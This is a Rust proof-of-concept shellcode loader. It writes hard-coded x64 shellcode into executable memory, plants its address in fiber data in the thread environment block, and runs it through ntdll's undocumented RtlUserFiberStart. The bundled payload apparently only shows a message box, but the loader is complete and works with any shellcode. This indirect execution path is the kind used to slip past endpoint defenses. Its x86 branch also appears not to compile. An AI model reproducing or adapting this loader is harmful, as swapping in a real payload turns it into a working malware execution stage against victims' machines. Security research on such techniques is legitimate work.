/*
    Shellcode exec using RtlUserFiberStart
    By @5mukx

    Reference used to make the structure : 
        * https://github.com/MSxDOS/ntapi/blob/master/src/winapi_local/um/winnt.rs

*/

use windows::{
    Win32::{
        Foundation::GetLastError,
        System::{
            LibraryLoader::{GetModuleHandleA, GetProcAddress},
            Memory::{
                GetProcessHeap, HEAP_FLAGS, HeapAlloc, HeapFree, MEM_COMMIT, MEM_RELEASE,
                PAGE_EXECUTE_READWRITE, VirtualAlloc, VirtualFree,
            },
        },
    },
    core::{Error, Result, s},
};

use windows::Win32::System::Threading::TEB;

type RtlUserFiberStartFn = unsafe extern "system" fn() -> i32;


// msgbox shellcode 
static SHELLCODE: &[u8] = &[
    0xFC, 0x48, 0x81, 0xE4, 0xF0, 0xFF, 0xFF, 0xFF, 0xE8, 0xD0, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41,
    0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xD2, 0x65, 0x48, 0x8B, 0x52, 0x60, 0x3E, 0x48, 0x8B, 0x52,
    0x18, 0x3E, 0x48, 0x8B, 0x52, 0x20, 0x3E, 0x48, 0x8B, 0x72, 0x50, 0x3E, 0x48, 0x0F, 0xB7, 0x4A,
    0x4A, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0, 0xAC, 0x3C, 0x61, 0x7C, 0x02, 0x2C, 0x20, 0x41, 0xC1,
    0xC9, 0x0D, 0x41, 0x01, 0xC1, 0xE2, 0xED, 0x52, 0x41, 0x51, 0x3E, 0x48, 0x8B, 0x52, 0x20, 0x3E,
    0x8B, 0x42, 0x3C, 0x48, 0x01, 0xD0, 0x3E, 0x8B, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48, 0x85, 0xC0,
    0x74, 0x6F, 0x48, 0x01, 0xD0, 0x50, 0x3E, 0x8B, 0x48, 0x18, 0x3E, 0x44, 0x8B, 0x40, 0x20, 0x49,
    0x01, 0xD0, 0xE3, 0x5C, 0x48, 0xFF, 0xC9, 0x3E, 0x41, 0x8B, 0x34, 0x88, 0x48, 0x01, 0xD6, 0x4D,
    0x31, 0xC9, 0x48, 0x31, 0xC0, 0xAC, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1, 0x38, 0xE0, 0x75,
    0xF1, 0x3E, 0x4C, 0x03, 0x4C, 0x24, 0x08, 0x45, 0x39, 0xD1, 0x75, 0xD6, 0x58, 0x3E, 0x44, 0x8B,
    0x40, 0x24, 0x49, 0x01, 0xD0, 0x66, 0x3E, 0x41, 0x8B, 0x0C, 0x48, 0x3E, 0x44, 0x8B, 0x40, 0x1C,
    0x49, 0x01, 0xD0, 0x3E, 0x41, 0x8B, 0x04, 0x88, 0x48, 0x01, 0xD0, 0x41, 0x58, 0x41, 0x58, 0x5E,
    0x59, 0x5A, 0x41, 0x58, 0x41, 0x59, 0x41, 0x5A, 0x48, 0x83, 0xEC, 0x20, 0x41, 0x52, 0xFF, 0xE0,
    0x58, 0x41, 0x59, 0x5A, 0x3E, 0x48, 0x8B, 0x12, 0xE9, 0x49, 0xFF, 0xFF, 0xFF, 0x5D, 0x3E, 0x48,
    0x8D, 0x8D, 0x30, 0x01, 0x00, 0x00, 0x41, 0xBA, 0x4C, 0x77, 0x26, 0x07, 0xFF, 0xD5, 0x49, 0xC7,
    0xC1, 0x00, 0x00, 0x00, 0x00, 0x3E, 0x48, 0x8D, 0x95, 0x0E, 0x01, 0x00, 0x00, 0x3E, 0x4C, 0x8D,
    0x85, 0x24, 0x01, 0x00, 0x00, 0x48, 0x31, 0xC9, 0x41, 0xBA, 0x45, 0x83, 0x56, 0x07, 0xFF, 0xD5,
    0x48, 0x31, 0xC9, 0x41, 0xBA, 0xF0, 0xB5, 0xA2, 0x56, 0xFF, 0xD5, 0x48, 0x65, 0x79, 0x20, 0x6D,
    0x61, 0x6E, 0x2E, 0x20, 0x49, 0x74, 0x73, 0x20, 0x6D, 0x65, 0x20, 0x53, 0x6D, 0x75, 0x6B, 0x78,
    0x00, 0x6B, 0x6E, 0x6F, 0x63, 0x6B, 0x2D, 0x6B, 0x6E, 0x6F, 0x63, 0x6B, 0x00, 0x75, 0x73, 0x65,
    0x72, 0x33, 0x32, 0x2E, 0x64, 0x6C, 0x6C, 0x00,
];

const TEB_FIBERDATA_PTR_OFFSET: usize = 0x20;
const FIBER_CONTEXT_RIP_OFFSET: usize = 0x0A8;
const HAS_FIBER_DATA_BIT: u8 = 0b100;

#[inline]
fn get_teb() -> *mut TEB {
    #[cfg(target_arch = "x86_64")]
    {
        let teb: *mut TEB;
        unsafe { std::arch::asm!("mov {}, gs:[0x30]", out(reg) teb) };
        teb
    }
    #[cfg(target_arch = "x86")]
    {
        let teb: *mut TEB;
        std::arch::asm!("mov {}, fs:[0x18]", out(reg) teb);
        teb
    }
}

fn main() -> Result<()> {
    unsafe {
        let ntdll = GetModuleHandleA(s!("ntdll"))?;

        if ntdll.is_invalid() {
            return Err(Error::from(GetLastError()));
        }

        let rtl_user_fiber_start = GetProcAddress(ntdll, s!("RtlUserFiberStart"))
            .expect("[-] Failed to get RtlUserFiberStart addr");

        let teb = get_teb();

        if teb.is_null() {
            return Err(windows::core::Error::from(GetLastError()));
        }

        // Set the has fiberdata bit in TEB flags
        let teb_flags = (teb as *mut u8).add(TEB_FIBERDATA_PTR_OFFSET);
        *teb_flags |= HAS_FIBER_DATA_BIT;
    

        let addr = VirtualAlloc(None, SHELLCODE.len(), MEM_COMMIT, PAGE_EXECUTE_READWRITE);

        if addr.is_null() {
            return Err(windows::core::Error::from(GetLastError()));
        }

        std::ptr::copy_nonoverlapping(SHELLCODE.as_ptr(), addr as *mut u8, SHELLCODE.len());

        // allocate fiber datas !
        let fiber_data = HeapAlloc(GetProcessHeap()?, HEAP_FLAGS(0), 0x100);

        if fiber_data.is_null() {
            VirtualFree(addr, 0, MEM_RELEASE)?;
            return Err(Error::from(GetLastError()));
        }

        // Set shellcode address at fiber context RIP offset
        *(fiber_data as *mut *mut std::ffi::c_void).add(FIBER_CONTEXT_RIP_OFFSET / 8) = addr;

        // set fiberdata ptr in TEB (GS:0x20)
        #[cfg(target_arch = "x86_64")]
        {
            std::arch::asm!(
                "mov gs:[0x20], {}",
                in(reg) fiber_data,
                options(nostack)
            );
        }

        let rtl_user_fiber_start_fn: RtlUserFiberStartFn =
            std::mem::transmute(rtl_user_fiber_start);
        let status = rtl_user_fiber_start_fn();

        HeapFree(GetProcessHeap()?, HEAP_FLAGS(0), Some(fiber_data))?;

        VirtualFree(addr, 0, MEM_RELEASE)?;

        if status != 0 {
            return Err(windows::core::Error::from(GetLastError()));
        }
    }

    Ok(())
}
